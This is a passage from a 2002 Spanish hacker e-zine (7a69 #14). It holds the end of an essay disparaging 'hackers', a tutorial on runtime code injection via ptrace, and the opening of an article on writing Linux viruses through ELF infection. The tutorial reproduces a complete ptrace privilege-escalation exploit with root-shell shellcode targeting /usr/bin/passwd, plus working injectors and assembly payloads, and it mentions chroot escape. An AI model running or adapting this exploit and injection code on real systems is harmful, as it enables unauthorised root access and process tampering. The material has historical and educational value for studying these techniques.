prepotencia ya que estos mismos hackers se autodenominan no se sabe porque
razon 'wizards' de no se sabe que 'pseudociencia'.

"Las creencias antiguas son dificiles de erradicar incluso aunque sean
demostrablemente falsas"

[Edward O. Wilson]

Mas ejemplos de este mismo tipo podrian ser el hecho de como estos mismos
hackers superponen ciertos productos, sistemas o lenguajes sobre otros, como
es el caso del lenguaje C, el cual es propenso a errores y solo es realmente
eficiente si se conoce la maquina en la que se trabaja, sobre otros
lenguajes de programacion o el sistema operativo Linux sobre todo el
conjunto de los demas sistemas operativos, conjunto que es mas extenso de lo
que se piensa, actitud que solo demuestra que la mayoria de estos hackers
solo son practicones sin base, cosa que de nuevo demuestran cuando estos
mismos afirman que fueron hackers los que construyeron Internet o la
mayoria de la tecnologia actual de la computacion, sirviendo solo esto para
'menospreciar' conceptos que existen desde mucho antes de que se pronunciara
por primera vez la palabra hacker, ya que llamar hackers a personalidades
como Knuth o Dijkstra es un insulto en toda regla, aunque estos hackers ya
parecen estar acostumbrados a menospreciar, insultar y rebajar a su nivel
todo tipo de conceptos, como pueden ser el de 'I+D' o el de 'tecnica', lo
cual solo sirve para crear 'clones' o 'pseudocientificos' con la ROM
corrompida, haciendo que estos temas entren en el grado de creencia, siendo
las cuestiones de creencia bastante dificiles de combatir.
Entrar en temas de gurismos es complicado, un ejemplo de ello la discusion
originada entre Intel y Shockley por el tema de la patente del
microprocesador, pero si estos mismos no se combaten se deja el camino libre
a los 'pontificadores' del hack, personas estas que deberian de ser
anuladas.

"Be your own standard"
[Slogan de C+-]

Para terminar de hablar sobre este tema, mencionar el tema de la
programacion ya que estos mismos hackers son supuestamente expertos en esta
tematica, cosa que no se dudara hasta cierto nivel, siendo el error de estos
mismos en este tema de caracter historico, ya que un ejemplo conocido por
mucha gente de uno de los primeros programadores, en esta caso femenino, es
el de la condesa de Lovelace, Augusta Ada Byron, la cual en 1830 escribio
un programa para calcular los numeros de Bernoulli, es decir el concepto de
programador existia mucho antes de que un grupo de programadores drogadictos
inventase el termino hacker, por lo que podriamos decir que este mismo
termino o concepto es obsoleto desde su origen.

"La verdad os hara libres. La mentira.. creyentes"
[Pepe Rodriguez]

"Creer es mas facil que pensar. He ahi la razon de que hayan mas creyentes"
[Anonimo]

"El que busca la verdad corre el riesgo de encontrarla"
[Manuel Vicent]

Aun asi, aunque no tuvieramos en cuenta que estos hackers no han hecho sino
renombrar un concepto que ya existia, podriamos hablar de como estos mismos
tratan el tema de la programacion, elevan a esta al grado de arte maximo
dando el grado de 'divinidad' a aquellos que conocen mas lenguajes que la
media con lo que de nuevo solo dan a entender su carencia de base, ya que
para programar se necesitan dos cosas, conocer la sintaxis del lenguaje en
cuestion, incluido el paradigma en el que se trabaja, cosa que se puede
aprender en cuestion de dias y 'algo mas', siendo ese 'algo mas' lo
verdaderamente importante, ya sea matematicas, tecnologia nuclear o
paleoclimatologia.

Por todo ello se entienda como se entienda el concepto de hacker, decir como
anexo que en ciertos entornos tecnicos anglosajones el termino hacking es un
eufemismo para designar una situacion de desconocimiento tecnico, ya sea
como el programador de compiladores, sistemas operativos o exploits, el
experto en Unix, el experto en seguridad o una mezcla de todo, podemos
afirmar que ser hacker no es importante.

Partiendo del hecho de que la verdad no es recta sino curva, lo aqui dicho
no se deberia de tomar ni como verdad ni como mentira absoluta, sino como
una opinion mas que sirva para enriquecer el humus de la mente de cada uno,
la interpretacion que hagas de lo aqui dicho dira tu actitud ante este tema,
actitud que no deberia de ser cambiada sino enriquecida, ya que cada uno
ha de seguir su camino.



"¡Alejaos de mi y guardaos de Zaratustra! Y aun mejor: ¡avergonzaos de el!
Tal vez os ha engañado... Ahora os ordeno que me perdais y que os
encontreis a vosotros..."

[Asi hablaba Zaratustra, Nietzsche]


[memonix, memonix@softhome.net, 2002]


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 4 - Inyeccion de codigo en tiempo de ejecucion. }{ Ripe }
|-----------------------------------------------------------------------|


0.- Indice.
-----------

0.- Indice.
1.- Introduccion.
2.- La syscall ptrace.
3.- Insertando codigo.
3.1.- ptrace exploit.
3.2.- Insercion sencilla.
3.3.- Insercion compleja.
4.- Conclusiones.




1.- Introduccion.
-----------------

Lo que en este articulo voy a contar es algo que no he visto
documentado en ningun lugar, posiblemente porque la utilidad de la inyeccion
de codigo usando ptrace sea practicamente nula, unicamente la he visto usarse
en el exploit que aparecio hace unos mese que explotaba precisamente el ptrace
de los kernel de linux. Pese a su poca utilidad me he dedicado a investigar un
poco sobre el tema, y estos, sin ser demasiado brillantes, son los resultados.



2.- La syscall ptrace.
----------------------

Esta syscall permite que un proceso padre tenga acceso, mediante
mecanismos ptrace, a todo tipo de datos sobre un proceso hijo que ha
solicitado ser traceado. Ptrace (o process trace) fue ideada para ser usada
por los debuggers del sistema, sin embargo es posible darle mas usos, como
por ejemplo este que presentamos aqui. No voy a detallar el uso de ptrace,
para eso ya estan las paginas man, asi pues sera recomendable leer la man
ptrace(2) antes de seguir con este documento.



3.- Insertando codigo.
----------------------



3.1.- ptrace exploit.
---------------------

Vamos a ver un poco por encima el exploit que se sirve de ptrace para
ganar privilegios en un sistema.


---/ epcs2.c /---

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>
#define CS_SIGNAL SIGUSR1
#define VICTIM "/usr/bin/passwd"
#define SHELL "/bin/sh"
/*
* modified simple shell code with some trickery (hand tweaks)
*/

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\x31\xc0\xb0\x2e\xcd\x80"
"\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */
"\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
"\xff" SHELL "\x00\x00\x00" ; /* pad me */

volatile int cs_detector=0;

void cs_sig_handler(int sig)
{
cs_detector=1;
}

void do_victim(char * filename)
{
while (!cs_detector) ;
kill(getppid(), CS_SIGNAL);
execl(filename, filename, NULL);
perror("execl");
exit(-1);
}

int check_execve(pid_t victim, char * filename)
{
char path[PATH_MAX+1];
char link[PATH_MAX+1];
int res;

snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
if (readlink(path, link, sizeof(link)-1)<0) {
perror("readlink");
return -1;
}

link[sizeof(link)-1]='\0';
res=!strcmp(link, filename);
if (res) fprintf(stderr, "child slept outside of execve\n");
return res;
}

int main(int argc, char * argv[])
{
char * filename=VICTIM;
pid_t victim;
int error, i;
struct user_regs_struct regs;

/* take our command args if you wanna play with other progs */
if (argc>1) filename=argv[1];

signal(CS_SIGNAL, cs_sig_handler);

victim=fork();
if (victim<0) {
perror("fork: victim");
exit(-1);
}
if (victim==0) do_victim(filename);

kill(victim, CS_SIGNAL);
while (!cs_detector) ;

if (ptrace(PTRACE_ATTACH, victim)) {
perror("ptrace: PTRACE_ATTACH");
goto exit;
}
(void)waitpid(victim, NULL, WUNTRACED);
if (ptrace(PTRACE_CONT, victim, 0, 0)) {
perror("ptrace: PTRACE_CONT");
goto exit;
}

(void)waitpid(victim, NULL, WUNTRACED);

if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_GETREGS");
goto exit;
}

/* make sure that last null is in there */
for (i=0; i<=strlen(shellcode); i+=4) {
if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
*(int*)(shellcode+i))) {
perror("ptrace: PTRACE_POKETEXT");
goto exit;
}
}

if (ptrace(PTRACE_SETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_SETREGS");
goto exit;
}

fprintf(stderr, "bug exploited successfully.\nenjoy!\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
perror("ptrace: PTRACE_DETACH");
goto exit;
}

(void)waitpid(victim, NULL, 0);
return 0;

exit:
fprintf(stderr, "d0h! error!\n");
kill(victim, SIGKILL);
return -1;
}

---/ epcs2.c /---


Ahora nos vamos a centrar unicamente en la forma con la que el exploit
logra la ejecucion de la shellcode, que es, precisamente realizando una
inyeccion de codigo.

ptrace(PTRACE_ATTACH, victim)

Con esta linea, el exploit toma el control del proceso que ha lanzado
anteriormente, esta es la forma con la que un debugger atachea un proceso (en
estos momentos el proceso atacheado se para).

ptrace(PTRACE_GETREGS, victim, 0, ®s)

Se extra el valor de los registros. Realmente el unico registro que
interesa es eip, pues sera ahi donde insertaremos nuestro codigo.

for (i=0; i<=strlen(shellcode); i+=4) {
if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
*(int*)(shellcode+i))) {
perror("ptrace: PTRACE_POKETEXT");
goto exit;
}
}

Seguidamente copia la shellcode, que sera ejecutada cuando el programa
atacheado continue su ejecucion.

ptrace(PTRACE_DETACH, victim, 0, 0)

Con esta instruccion se detachea el proceso dejando que cabalgue
libremente la shellcode por la CPU :)



3.2.- Insercion sencilla.
-------------------------

Vamos a realizar una prueba sencilla de inyeccion de codigo para ver
los problemas que se nos plantean. Crearemos un proceso que imprima "Hola"
continuamente en pantalla y le inyectamos codigo para que imprima "Adios".


---/ shit.c /---

#include <stdio.h>

int main() {
while(1) {
printf("Hola\n");
sleep(2);
}
}

---/ shit.c /---


Para insertar codigo, nos serviremos de la syscall ptrace, usandola
de forma similar al exploit que hemos visto anteriormente.


---/ ptrace_inject.c /---

#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <linux/user.h>

#ifndef INJECTED_LEN
#define INJECTED_LEN 0x00
#endif /* INJECTED_LEN */

void injected_code();

int main(int argc, char **argv) {
int pid;
int i;
struct user_regs_struct regs;
if (argc<2) {
printf("Uso:\n");
printf("\t%s <pid>\n", argv[0]);
exit(0);
}
pid=atoi(argv[1]);
/*
* Atacheamos el proceso. You 0wnz m3!
*/

if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)!=-1) {
printf("[1] - Proceso atacheado\n");
/*
* Le extraemos los registros con la intencion de saber que posicion de la
* memoria se esta ejecutando (registro eip).
*/

if (ptrace(PTRACE_GETREGS, pid, NULL, ®s)!=-1) {
printf("[2] - Extraido registro eip (0x%.8x)\n", regs.eip);
/*
* Copiamos alla donde apunte eip nuestro codigo.
*/

for (i=0; i<INJECTED_LEN; i+=4)
ptrace(PTRACE_POKEDATA, pid, regs.eip+i, *(int*)(injected_code+i));
printf("[3] - Codigo insertado\n");
}
/*
* Detacheamos el proceso traceado. Go!
*/

ptrace(PTRACE_DETACH, pid, NULL, NULL);
printf("[4] - Ejecutando codigo\n");
}
exit(0);
}

---/ ptrace_inject.c /---


Como podeis ver el codigo que insertamos es el de la funcion
injected_code, que no esta definida en el propio codigo fuente de
ptrace_inject.c sino en un fichero aparte que veremos a continuacion. El
motivo por el que aparto el codigo insertado es porque necesito las
posiciones relativas al offset en el que se inserta el codigo, y C no
nos lo permite hacer, asi que he optado por usar ensamblador.

Algunos direis que podria haber usado __asm__(), y es cierto, pero
yo prefiero meterlo en un fichero aparte :)

El codigo que insertaremos sera el siguiente. Para los que no sepais
ensamblador os dire que esto no es nada mas que escribir la palabra "Adios"
en pantalla y finaliza la ejecucion - write(1, "Adios\n", 6); exit(0);.


---/ injected_code.S /---

#define __NR_exit $1
#define __NR_write $4

.globl injected_code
injected_code:
jmp data
get_doffset:
movl __NR_write, %eax
movl $1, %ebx
popl %ecx
movl $6, %edx
int $0x80 /* write(1, "Adios\n", 6); */
exit:
movl __NR_exit, %eax
xorl %ebx, %ebx
int $0x80 /* exit(0);

data:
call get_doffset
.string "Adios\n"

---/ injected_code.S /---


Ahora creamos los dos binarios ejecutables de la siguiente manera.


barracuda ~$ gcc shit.c -o shit
barracuda ~$ gcc ptrace_inject.c -c -DINJECTED_LEN=0x38
barracuda ~$ gcc injected_code.S -c
barracuda ~$ gcc ptrace_inject.o injected_code.o -o ptrace_inject


Para probarlo ejecutamos 'shit' en un terminal y 'ptrace_inject'
(pasandole el pid del otro proceso como parametro) en otro terminal. Tras eso
veremos algo similar a esto.

En el terminal 1:


barracuda ~$ ./shit
Hola
Hola
Hola
Hola
Adios
barracuda ~$


En el terminal 2:


barracuda ~$ ./ptrace_inject 26290
[1] - Proceso atacheado
[2] - Extraido registro eip (0x400bcdc1)
[3] - Codigo insertado
[4] - Ejecutando codigo
barracuda ~$


Esta claro, hemos logrado la insercion de codigo en el proceso 'shit'.

Una cosa que debemos destacar es que el proceso al que hemos insertado
codigo ha finalizado. Ello puede no molestarnos, pero es posible que nos interese
que la ejecucion del proceso continue normalmente. Lo que seguidamente vamos a
intentar va ser, la insercion de codigo sin obstaculizar la ejecucion del
codigo original.



3.- Insercion compleja.
-----------------------

La insercion de nuestro codigo en el proceso provoca un cambio en el
comportamiento del mismo, lo que normalmente acaba con su finalizacion. En
ocasiones es posible que no queramos que esto ocurra, y nuestra intencion es
que el programa original transcurra normalmente. Si bien esto puede parecer
complicado es realmente sencillo, simplemente tenemos que procurar dejar el
proceso tal y como estaba antes de que metiesemos la zarpa.

Para lograr esto, lo mejor sera crear un proceso hijo que se encargue
de ejecutar nuestro codigo inyectado y restaurar el padre para que no se vea
alterado. Restaurar el valor de los registros del procesador es muy sencillo,
la propia syscall ptrace proporciona una funcionalidad para setear registros,
para restaurar el codigo deberemos guardar antes una copia del codigo original.

Crearemos el proceso hijo en nuestro codigo insertado usando la
syscall fork, para que el proceso hijo ejecute lo que nosotros queramos, y
el proceso padre genere una interrupcion 3, lo que cedera de nuevo el control
a nuestro inyector, que restaurara el proceso y lo dejara ejecutando
normalmente antes de detachearlo.


---/ ptrace_inject2.c /---

#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <linux/user.h>

#ifndef INJECTED_LEN
#define INJECTED_LEN 0x00
#endif /* INJECTED_LEN */


void injected_code();

int main(int argc, char **argv) {
int pid;
int i;
long int *hola;
struct user_regs_struct regs;
char original_code[INJECTED_LEN]; /* Aqui se guardara el codigo original */
if (argc<2) {
printf("Uso:\n");
printf("\t%s <pid>\n", argv[0]);
exit(0);
}
pid=atoi(argv[1]);
/*
* Traceamos el proceso en cuestion.
*/

if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)!=-1) {
printf("[1] - Proceso atacheado\n");
/*
* Extraemos los registros.
*/

if (ptrace(PTRACE_GETREGS, pid, NULL, ®s)!=-1) {
printf("[2] - Extraido registro eip (0x%.8x)\n", regs.eip);
/*
* Insertamos nuestro codigo guardando una copia del original.
*/

for (i=0; i<INJECTED_LEN; i+=4) {
hola=(long int *)&original_code[i];
*hola=ptrace(PTRACE_PEEKDATA, pid, regs.eip+i, NULL);
ptrace(PTRACE_POKEDATA, pid, regs.eip+i, *(int*)(injected_code+i));
}
printf("[3] - Codigo insertado\n");
/*
* Seguimos la ejecucion del proceso para que se ejecute nuestro
* codigo.
*/

ptrace(PTRACE_CONT, pid, 0, 0);
/*
* Esperamos que el proceso nos ceda nuevamente el control (tras generar
* la interrupcion 3).
*/

waitpid(pid, NULL, 0);
printf("[4] - Codigo ejecutado\n");
/*
* Copiamos de nuevo el codigo original.
*/

for (i=0; i<INJECTED_LEN; i+=4)
ptrace(PTRACE_POKEDATA, pid, regs.eip+i,*(int*)(original_code+i));
printf("[5] - Restaurando codigo original\n");
/*
* Restauramos los registros que habia antes de que tocasemos nada.
*/

ptrace(PTRACE_SETREGS, pid, NULL, ®s);
printf("[6] - Registros restaurados\n");
}
/*
* Todo finalizo... Liberamos el proceso atacheado.
*/

ptrace(PTRACE_DETACH, pid, NULL, NULL);
printf("[5] - Detacheado\n");
}
exit(0);
}

---/ ptrace_inject2.c /---


El codigo que insertaremos, que creara un proceso hijo que ejecutara
el write(0, "Adios\n", 6), es el siguiente.


---/ injected_code2.S /---

#define __NR_exit $1
#define __NR_fork $2
#define __NR_write $4

.globl injected_code
injected_code:
movl __NR_fork, %eax
int $0x80 /* fork() */
xorl %ebx, %ebx
cmpl %eax, %ebx
jne child
int $0x03 /* Cedemos el control al ptrace_inject2.c */
/*
* Aqui abajo todo el codigo que queramos insertar en el hijo.
*/

child:
jmp data
get_doffset:
movl __NR_write, %eax
movl $1, %ebx
popl %ecx
movl $6, %edx
int $0x80 /* write(1, "Adios\n", 6) */
exit:
movl __NR_exit, %eax
xorl %ebx, %ebx
int $0x80 /* exit(0) */
data:
call get_doffset
.string "Adios\n"

---/ injected_code2.S /---


Generamos, una vez mas el binario inyector :)


barracuda ~$ gcc ptrace_inject2.c -c -DINJECTED_LEN=0x45
barracuda ~$ gcc injected_code2.S -c
barracuda ~$ gcc ptrace_inject2.o injected_code2.o -o ptrace_inject2


Y lo probamos... En el terminal 1.


barracuda ~$ ./shit
Hola
Hola
Hola
Hola
Adios
Hola
Hola
...


En el terminal 2.


bash-2.05a$ ./inject 13162
[1] - Proceso atacheado
[2] - Extraido registro eip (0x400bddc1)
[3] - Codigo insertado
[4] - Codigo ejecutado
[5] - Restaurando codigo original
[6] - Registros restaurados
[5] - Detacheado
bash-2.05a$



4.- Conclusiones
----------------

El echo de debugear un proceso permite, normalmente, tener un control
total sobre el mismo. La syscall ptrace fue ideada con la intencion de ofrecer
a los debuggers una api sencilla para tratar los procesos que debugean, y por
ello puede suponer un problema potencial para la seguridad de un computador.
Muchos expertos en seguridad se han dado cuenta de ello, y estan apareciendo
numerosos parches de seguridad para distintos sistemas operativos que ofrecen
la posibilidad de 'capar' dicha syscall o ofrecerla solo a un grupo limitado de
usuarios.

Por otro lado, por lo visto en este texto no parece que la inyeccion
de codigo tenga utilidad algun, sin embargo nada mas lejos de la realidad, pues
en ciertas condiciones puede permitir la ruptura de un entorno chroot sin
tansiquiere tener privilegios de root en el mismo, 'robar' decriptores de
fichero, modificar variables de entorno, alterar las acciones de llamadas a
funciones...


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 5 - Virus en Linux. }{ Viesllo }
|-----------------------------------------------------------------------|



1. Introduccion
2. Infeccion de Archivos ELF.
3. Virus Residentes.
3.1 Residencia Global en Ring0
3.2 Residencia Global en Ring3
3.3 Residencia Perprocess.


NOTA: Este articulo se realizo basandose en la version del
kernel 2.0.34 donde la distribucion de segmentos es
diferente a actuales versiones como 2.2.XX.


1.Introduccion: Proteccion de memoria.

La eterna pregunta, ¿Por que no hay virus para linux?.Al parecer a
la comunidad virica acostumbrada a sistemas en modo Real (DOS) les cuesta
un poco adaptarse a sistemas en modo protegido. Incluso para win 95/98
,sistemas con importantes problemas de diseño ,existen actualmente poco mas
de 30 virus donde la mayoria son virus no residentes o infectores de VXD
(Dispositivos de Ring0).
Al parecer la respuesta reside en la importante proteccion de
memoria de Linux.

Sistemas como Win 95/NT utilizan un diseño de memoria con un limitado uso
de segmentos.En estos sistemas con selectores de Usuario y Kernel se puede
direccionar todo el espacio virtual ,es decir de 0x00000000 a 0xFFFFFFFF
(Esto no quiere decir que puedas escribir en toda la memoria ya que las
paginas de memoria poseen tambien atributos de proteccion).
En cambio en Linux el diseño es bastante diferente ,existen 2 zonas bien
diferenciadas mediante segmentacion ,una zona dedicada a los procesos
de usuarios que va de 0x00000000 a 0xC0000000 y otra para el

  
kernel
que va de 0xC0000000 a 0xFFFFFFFF.

Veamos un volcado de registros con el gdb.Al inicio de la ejecucion de
un comando como el gzip.


(gdb)info registers
eax 0x0 0
ecx 0x1 1
edx 0x0 0
ebx 0x0 0
ebp 0xbffffd8c 0xbffffd8c
esi 0xbffffd9c 0xbffffd9c
edi 0x4000623c 1073766972
eip 0x8048b10 0x8048b10
eflags 0x296 662
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43

Podemos ver que linux utiliza el selector para codigo 0x23
y para datos 0x2b .Intel utiliza selectores de 16 bits
los 2 bits menos significativos guardan el RPL (informacion sobre el
nivel de privilegio de ese selector, Intel implementa 4 anillos de proteccion,
pero los sistemas operativos actuales como win 95/NT o Linux utilizan
unicamente 2, ring0 para el kernel (maximo nivel de privilegio) y ring 3
para los procesos de usuario).
el siguiente bit indica donde reside el descriptor de segmento que contiene
la informacion sobre el segmento, 0 para la GDT (GLOBAL DESCRIPTOR TABLE)
y 1 para la LDT (LOCAL DESCRIPTOR TABLE).
Los bits restantes simplemente son un indice a un descriptor de segmento
que estara en la LDT o en la GDT segun la informacion anterior

Selector [14 bits Indice al descriptor] [1 bit GDT/LDT] [2 bits RPL]

Asi pues si pasamos a binario 0x23 obtenemos

[0 0 0 0 0 0 0 0 0 0 0 1 0 0 ] [ 0 ] [ 1 1 ]

Por lo tanto sabemos que es un selector de ring3 (lo utiliza un proceso),
y que ademas la informacion sobre ese segmento reside en la GDT
en la entrada numero 4.
Si analizamos el descriptor siguiente obtendremos una informacion similar
pero el descriptor estara en la entrada 5.

Si vemos el codigo que hay en el kernel en el archivo
/usr/src/linux/arch/i386/kernel/head.S (desgraciadamente en ensamblador :))
podemos apreciar la inicializacion de segmentos en linux.


/*
* This gdt setup gives the kernel a 1GB address space at virtual
* address 0xC0000000 - space enough for expansion, I hope.
*/

ENTRY(gdt)
.quad 0x0000000000000000 /* NULL descriptor */
.quad 0x0000000000000000 /* not used */
.quad 0xc0c39a000000ffff /* 0x10 kernel 1GB code at 0xC0000000 */
.quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */
.quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */
.quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 */
.quad 0x0000000000000000 /* not used */
.quad 0x0000000000000000 /* not used */
.fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */
#ifdef CONFIG_APM
.quad 0x00c09a0000000000 /* APM CS code */
.quad 0x00809a0000000000 /* APM CS 16 code (16 bit) */
.quad 0x00c0920000000000 /* APM DS data */
#endif

Como podeis apreciar Linux inicializa 4 segmentos 2 para el kernel
y 2 para Usuarios segun sean de Datos o Codigo.En cada entrada se guarda
informacion como la direccion base del segmento y su limite, si esta
residente en memoria o no, el tipo de segmento, si es codigo de 32 o 16 bits.
Mientras haya un selector de usuario en el registro DS jamas se podra
manejar una direccion superior a 0xC0000000 ya que nos saldriamos de
la memoria accesible por el segmento ,recibiriamos una señal de SIGSEGV
y nuestro proceso terminaria. Por ello si intentamos direccionar memoria
del kernel que siempre esta en memoria mapeada a partir de la direccion
0xC0000000 aunque solo sea para una simple lectura, nuestro proceso
terminara drasticamente.

Ahora bien, Se que puedo direccionar de 0x00000000 a 0xC0000000 pero
¿que puedo modificar?. Realmente aqui es donde empiezan el verdadero
mecanismo de proteccion. La memoria se divide en paginas de 4 kb en
el caso de Intel y cada pagina tiene sus propios atributos si son de
lectura/escritura , si esta en memoria (ya que puede estar en disco
temporalmente), si es del kernel etc.
Toda la informacion sobre las paginas que hay en memoria reside en una
tabla de paginas que contiene descriptores para cada pagina mapeada en
memoria. Hay una tabla de paginas para cada proceso en memoria
, esto hace que cada proceso tenga su propio espacio virtual. Y que
desde un proceso no se pueda acceder a otro. Por lo tanto la direccion
0x8040000 puede no contener la misma informacion que la direccion
0x8040000 de otro proceso, ya que la tabla de paginas es diferente y
la pagina que empieza en esa direccion virtual puede tener asociada
direcciones fisicas diferentes de un proceso a otro.
Esto hace posible cargar programas en la misma direccion de memoria
y realmente es lo que se hace. Windows 95/98 y Linux lo hacen.En linux
la direccion de carga normal es 0x08040000 mientras que en Windows
es la 0x04000000.

Esta tabla de paginas esta apuntada por un registro de control
del procesador el CR3 y por lo tanto cambia con cada cambio de
contexto ,modificando tambien el espacio virtual del proceso.

Pero entonces, si un proceso unicamente puede direccionar la memoria
perprocess, ¿como consigue ejecutar llamadas a sistema que residen a
partir de 0xC0000000?

Intel proporciona mecanismos para poder saltar a ring0 de una forma segura
a la hora de realizar llamadas a sistema. Intel utiliza 2 metodos.
Los TRAP GATES y los CALL GATES. Normalmente se utiliza unicamente
TRAP GATES (WIN NT/95/98/LINUX), de todas formas creo que algunos sitemas
unix utilizan CALL GATES para realizar el salto de RINGS.

Los Trap Gates ocupan una entrada en la IDT (tabla de descriptores
de interrupcion) y permiten el salto a ring0 mediante la generacion de
una interrupcion, Para ello la direccion de salto definida en la entrada
de la IDT debe tener un selector de RING0 y el DPL (Descriptor Privilege
Level) debe ser igual a 3, para que un usuario lo pueda ejecutar.
En Linux se utiliza la interrupcion 0x80 para el salto, mientras que
Windows 95 por ejemplo utiliza la 0x30.
Veamos el desensamblado de la funcion getpid de la libreria LIBC.
Para ello crearemos un archivo en c como este:

#include <unistd.h>
void main()
{
getpid(); /* Obtendo el PID del proceso*/
}

Tras compilarlo , debugeamos el archivo binario con gdb:

(gdb)disass
Dump of assembler code for function main:
0x8048480 <main>: pushl %ebp
0x8048481 <main+1>: movl %esp,%ebp
0x8048483 <main+3>: call 0x8048378 <getpid>
0x8048488 <main+8>: movl %ebp,%esp
0x804848a <main+13>: popl %ebp
0x804848b <main+11>: ret
End of assembler dump

Como podeis ver la llamada a getpid esta diseñada en Linux ( y en
otros sistemas) como una llamada a procedimiento (CALL) a una
seccion especial dentro del archivo binario(0x8048378).Alli podremos
encontrar un jump a la funcion de libreria que deseemos. Estos jmp
los forma en memoria el sistema operativo para realizar los enlaces
dinamicos con librerias.Asi cualquier archivo podra ejecutar funciones
exportadas por otros , si asi lo indica la informacion de cabecera de
los archivos ELF.
Sigamos debugeando.

(gdb)disass getpid
0x40073000 <__getpid>: pushl %ebp
0x40073001 <__getpid+1>: movl %esp,%ebp
0x40073003 <__getpid+3>: pushl %ebx
0x40073004 <__getpid+4>: movl $0x14,%eax
0x40073009 <__getpid+9>: int $0x80


Estas son las primeras instrucciones de la llamada a libreria getpid.
El funcionamiento es simple unicamente se prepara para realizar el
salto a ring0. Si hubiera tenido parametros habria preparado los registros
del procesador para esos parametros antes de realizar el salto a ring0
Habria puesto el numero de llamada a sistema en el registro EAX y habria
llamado a la int 0x80.Como veis el codigo de las librerias reside en la
memoria perprocess por debajo de 0xC0000000 por lo que es codigo de ring 3
y carece de privilegios para acceder a puertos a direcciones de memoria
privilegiadas etc.
Por eso las llamadas a librerias son realmente intermediarias entre las
llamadas que realizan los procesos y las llamadas generadas por int $0x80.

Todas las llamadas a sistema que necesiten saltar a Ring0 utilizaran
la interrupcion 0x80 y por lo tanto como la interrupcion 0x80 tiene un unico
descriptor se saltara siempre a la misma direccion de memoria. Eso hace
necesario la utilizacion del registro EAX para indicar el numero de funcion
que queremos realizar. Ya en ring0 el kernel evalua el valor de EAX para
saber que funcion tiene que satisfacer y segun su valor saltara a una funcion
o a otra utilizando una tabla interna de punteros a funcion llamada
sys_call_table. La lista de funciones aceptadas mediante la int 0x80 esta
en el archivo /usr/include/sys/syscall.h,

Con la ejecucion de una int 0x80 el procesador cambiara el selector
de codigo activo.Pasaremos del selector 0x23 al 0x10 y por lo tanto
pasaremos de direccionar de 0x0-0xC0000000 a 0xC0000000-0xFFFFFFFF.

El siguiente metodo de salto raramente utilizado consiste en una entrada
en la GDT o excepcionalmente en la LDT. Alli definiremos lo que se
denomina un CALL GATE que permite saltos hacia rings de mayor privilegio
mediante la instruccion CALL FAR o JMP FAR de ensamblador.



2. Infeccion de Archivos ELF


Existen 2 formatos de ejecutables en linux a.out y ELF, sin embargo actualmente
casi todos los ejecutables y librerias de linux utilizan el segundo formato.
El formato ELF es bastante versatil y contiene informacion para poder manejar
aplicaciones bajo diferentes procesadores. Contiene informacion sobre el procesador
en el que fue compilado el ejecutable o si ha de utilizar little endian o big endian.
Como es un formato para procesadores en modo extendido, ademas de informacion sobre
las secciones fisicas que hay en el archivo, hay informacion sobre como ha de
mapear el SO el programa en memoria.
El archivo ELF consta de una Primera estructura que ocupa los 0x24 primeros bytes
del ejecutable, y que contiene entre otras cosas una marca 'ELF' para indicar que
se trata de un ejecutable con formato ELF, el tipo de procesador, la base address
que es la direccion virtual de la primera instruccion que se ejecutara en el archivo
, y luego 2 punteros a 2 tablas .
La primera es el Program Header(situada fisicamente despues del ELF header)
conteniendo entradas con informacion sobre como se mapeara en memoria el archivo.
Cada entrada contendra el tamaño de cada segmento tanto en memoria como
en el archivo,tambien la direccion de inicio del segmento.
La siguiente tabla es la Section Header y esta justo al final del archivo.
Contendra informacion sobre cada seccion logica, tendra tambien atributos de proteccion
aunque esta informacion no se utilizara para mapear el codigo del archivo en memoria.
Con el comando del gdb , "maintenance info sections" se pude ver la estructura
de secciones en el archivo junto con los atributos de proteccion de cada seccion.
Si os fijais todas las seccions de solo lectura se situan las primeras, y las
de lectura escritura se situan todas juntas al final.
Esto es necesario ya que que las secciones de codigo se mapean en memoria a la
vez en paginas de memoria consecutivas mediante una entrada en el Program Header, y
las de datos se mapean a continuacion utilizando otra entrada en la Program Header.
Por eso secciones que tienen los mismos atributos de proteccion podran compartir
paginas de memoria, mientra que secciones que tengan diferentes atributos no podran.
Con esto se evita la fragmentacion interna en ejecutables, ya que si cada seccion
tuviese que mapearse por separado la ultima pagina de la seccion nunca estaria llena,
y el espacio sobrante se desperdiciaria.
Fijaos tambien que la ultima seccion de solo lectura no comparte pagina de memoria
con la primera pagina de lectura/escritura..
El volcado de esta instruccion para un comando como el gzip seria el siguiente

(gdb)maintenance info sections
Exec file:
'/bin/gzip', file type elf32-i386.
0x080480d4->0x080480e7 at 0x000000d4: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
